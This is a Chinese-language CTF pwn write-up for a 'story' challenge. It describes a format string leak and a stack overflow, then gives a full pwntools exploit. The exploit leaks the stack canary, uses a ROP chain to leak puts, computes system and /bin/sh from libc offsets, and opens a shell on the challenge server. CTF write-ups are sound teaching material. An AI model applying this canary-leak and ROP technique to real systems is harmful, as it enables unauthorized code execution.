分析


首先在input id的时候发现了存在格式化字符串漏洞


在输入story的时候出现栈溢出


而且程序开启了各种保护,存在canary,got表不能改写

思路

存在canary可以通过格式化字符串leak得到,又因为存在栈溢出,可以通过rop,泄露函数地址从而获取对应的libc版本,并且可以得到system函数地址或者使用onegadget

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
#p = process(["./story"],env={"LD_PRELOAD":"./libc"})
#p = process("./story")
p = remote("ctf2.linkedbyx.com",10895)
def debug():
    gdb.attach(p,"b *0x4009a0")
    raw_input("debug")
p.recvuntil("Please Tell Your ID:")
p.sendline("%15$p")
p.recvuntil("Hello 0x")
canary = int(p.recv(16),16)
p.recvuntil("Tell me the size of your story:\n")
prr = 0x0000000000400bd3
payload = "a"*0x88+p64(canary)+"a"*8+p64(prr)+p64(0x601fa8)+p64(0x400720)+p64(0x400876)
p.sendline("500")
p.recv()
p.sendline(payload)
p.recv(1)

puts = u64(p.recv(6).ljust(8,"\x00"))
log.info("puts : %x"%puts)
#debug()
p.recv()
p.sendline("test")
p.recv()
p.sendline("500")

poff = 0x06f690
system = puts - poff +0x045390
bin = puts - poff + 0x18cd57
pay = "b"*0x88+p64(canary)+"a"*8+p64(prr)+p64(bin)+p64(system)
p.recv()
p.sendline(pay)

p.interactive()

preView